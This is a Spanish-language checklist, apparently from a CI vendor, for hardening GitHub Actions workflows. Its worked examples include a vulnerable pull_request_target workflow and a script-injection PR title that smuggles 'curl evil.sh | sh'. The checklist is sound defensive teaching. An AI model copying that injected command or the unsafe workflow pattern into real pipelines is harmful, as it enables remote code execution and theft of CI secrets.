Protección de GitHub Actions: lista de verificación
Última actualización
Una workflow de CI ejecuta código con acceso a sus secrets y, a menudo, a su nube. Los atacantes lo saben: tanto las actions de terceros comprometidas como los títulos de pull request con código inyectado se han utilizado para robar credenciales. Las defensas consisten sobre todo en pequeños cambios en YAML. Esta lista de comprobación está ordenada según el riesgo que elimina cada punto.
1. Conceda al token el mínimo privilegio necesario
Cada ejecución de workflow recibe un GITHUB_TOKEN. Configure el valor predeterminado como solo lectura y, después, conceda permisos adicionales por job. En la configuración del repositorio o de la organización, establezca los permisos de workflow en "Read repository contents and packages permissions" y declare en YAML lo que necesite:
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: write # create the release
id-token: write # OIDC, see below
steps: [...]
Una vez que defina permissions en una workflow, todo permiso que no incluya se establece en none. Un contents: read de nivel superior junto con excepciones por job es un buen patrón. El comprobador de YAML de workflows marca los workflows que no tienen un bloque permissions.
2. Fije las actions de terceros a un SHA de commit completo
Las etiquetas y las ramas pueden moverse. En marzo de 2025 la action popular tj-actions/changed-files se vio comprometida y sus etiquetas se reapuntaron a un commit malicioso que volcaba secrets en los logs (registrado como CVE-2025-30066). Los workflows que referenciaban una etiqueta ejecutaron el código del atacante; los que estaban fijados a un SHA de commit completo no.
# Before
- uses: some-org/some-action@v3
# After: full 40-character SHA, version in a comment
- uses: some-org/some-action@8e5e7e5ab8b370d6c329ec480221332ada57f0ab # v3.5.2
Solo un SHA de longitud completa es inmutable. Fije toda action que no publique GitHub directamente, y considere fijar también las de GitHub. Mantenga los fijados actualizados con Dependabot, que actualiza las actions fijadas por SHA y mantiene sincronizado el comentario de versión (consulte configuración de Dependabot). GitHub también ofrece una política que puede exigir que las actions estén fijadas a un SHA de longitud completa, en la configuración de Actions del repositorio o de la organización; revise las opciones de su plan.
Los workflows reutilizables también son código: fíjelos de la misma manera (uses: org/repo/.github/workflows/x.yml@<sha>).
3. Tenga cuidado con pull_request_target
Los workflows de pull_request activados desde forks se ejecutan con un token de solo lectura y sin secrets. pull_request_target se ejecuta en el contexto de la rama base y sí recibe secrets y un token de escritura. Es útil para etiquetar PR y peligroso si se combina con el checkout y la ejecución del código del PR:
# DANGEROUS: runs untrusted code with secrets
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test # attacker controls package.json scripts
Rules:
- No haga checkout ni ejecute código de la cabecera del PR en un workflow de
pull_request_target. - Si necesita ambos, divídalo en dos workflows: un workflow
pull_requestsin privilegios que compila, prueba y sube los resultados como artefactos, y un workflowworkflow_runcon privilegios que lee esos artefactos y comenta. Trate los artefactos como datos no confiables. - Lo mismo aplica a
issue_commenty aworkflow_run, que también se ejecutan con privilegios.
4. Evite la inyección de scripts
Las expresiones se expanden en el texto del script antes de ejecutarse. Si inserta texto controlado por un atacante en un paso run:, el atacante escribe shell:
# Vulnerable: a PR titled "; curl evil.sh | sh # runs the payload
- run: echo "Title: ${{ github.event.pull_request.title }}"
Pase los valores no confiables mediante variables de entorno, que no se expanden como código de shell:
- run: echo "Title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Las entradas no confiables incluyen títulos y cuerpos de PR, nombres de ramas, mensajes de commit, texto de issues y github.head_ref. Para actions/github-script, lea los valores de context.payload en JavaScript en lugar de incrustar expresiones en la cadena del script.
5. Gestione los secrets con criterio
- Prefiera credenciales de corta duración: OIDC con AWS sustituye a las claves de acceso almacenadas.
- Limite los secrets a entornos (
environment: production) con revisores obligatorios, de modo que un job necesite aprobación para leer los secrets de producción. - GitHub enmascara en los logs los secrets registrados, pero solo los valores exactos; los valores derivados o transformados, como base64, no se enmascaran. No los imprima.
- Nunca pase secrets en líneas de comandos que puedan aparecer en los logs o en la lista de procesos, cuando baste con un archivo o una variable de entorno.
- Rote las credenciales ante la menor sospecha. Si una action de terceros está comprometida, rote todos los secrets que esa workflow podía leer.
6. Limite quién puede ejecutar qué
- Exija aprobación para los workflows de colaboradores que contribuyen por primera vez y para todos los colaboradores externos, en la configuración de Actions.
- Restrinja las actions permitidas a las creadas por GitHub, a creadores verificados o a una lista de permitidos explícita.
- Proteja
.github/workflows/con CODEOWNERS para que los cambios en los workflows requieran revisión de un equipo de confianza. - Utilice rulesets o protección de ramas para que solo las ramas protegidas puedan desplegar.
7. Higiene de los runners autoalojados
Use runners efímeros, nunca los utilice en repositorios públicos y restrinja los grupos de runners a repositorios concretos. Consulte runners autoalojados frente a runners alojados en GitHub.
8. Analice sus workflows
Las herramientas estáticas detectan automáticamente muchos de estos problemas: zizmor, actionlint y las consultas de Actions de CodeQL. Añada una a su CI para que cada nuevo workflow se revise en cada PR:
- uses: docker://rhysd/actionlint:latest
with:
args: -color
Fije también esa imagen a un digest. Para una revisión manual rápida, pegue un workflow en el comprobador de YAML.
Una lista de comprobación breve
- Permisos predeterminados del token en solo lectura;
permissionsexplícitos en cada workflow. - Actions de terceros fijadas a SHA completos; Dependabot actualizándolas.
- Sin checkout de la cabecera del PR en workflows de
pull_request_targetoworkflow_run. - Ningún
${{ }}con entrada no confiable dentro de scriptsrun:. - OIDC en lugar de claves de nube almacenadas; secrets con ámbito de entorno y aprobaciones.
- CODEOWNERS sobre
.github/. - Un linter de workflows en CI.
Preguntas frecuentes
¿Es @v4 seguro para las acciones propias de GitHub?
Las etiquetas de actions/* son gestionadas por GitHub y muy utilizadas. Fijar el SHA es más estricto; si lo hace con las acciones propias depende de su tolerancia al riesgo.
¿Llegan los secretos a los workflows desde forks?
No con pull_request: los forks reciben un token de solo lectura y sin secretos. Sí con pull_request_target, por eso requiere el cuidado descrito arriba.
¿Puede Dependabot mantener actualizados los pins de SHA?
Sí. Añada el ecosistema github-actions a dependabot.yml.
¿Qué debo hacer primero?
Establezca los permisos predeterminados en solo lectura y añada bloques permissions:. Solo le llevará unos minutos y elimina la mayor fuente de accesos excesivos.
Dónde encaja compiler.dev
compiler.dev ejecuta sus workflows existentes en sus runners, por lo que se aplican las mismas medidas de endurecimiento: acciones fijadas, permisos de token mínimos y OIDC. Use el verificador de YAML gratuito en sus workflows antes de migrar nada.
Relacionado
- Acelere un monorepo de TypeScript en GitHub ActionsAcelere la comprobación de tipos y el linting en un monorepo TypeScript con GitHub Actions: tsc incremental, referencias de proyecto y cachés.
- Acelere Playwright en un monorepo con GitHub ActionsAcelere las pruebas e2e de Playwright en un monorepo Node con GitHub Actions: compile la app una vez y omita e2e si no cambió.
- Añada una insignia de velocidad de CI a su READMEMuestre la velocidad de su CI con una insignia en el README: el tiempo mediano de ejecución en GitHub Actions, actualizado automáticamente. Gratis.
- Mejores proveedores de runners para GitHub Actions 2026Los mejores proveedores de runners para GitHub Actions, por caso de uso: precio, macOS, builds con Docker, ARM, AWS y tarifa plana. Precios públicos al 22/10/2026.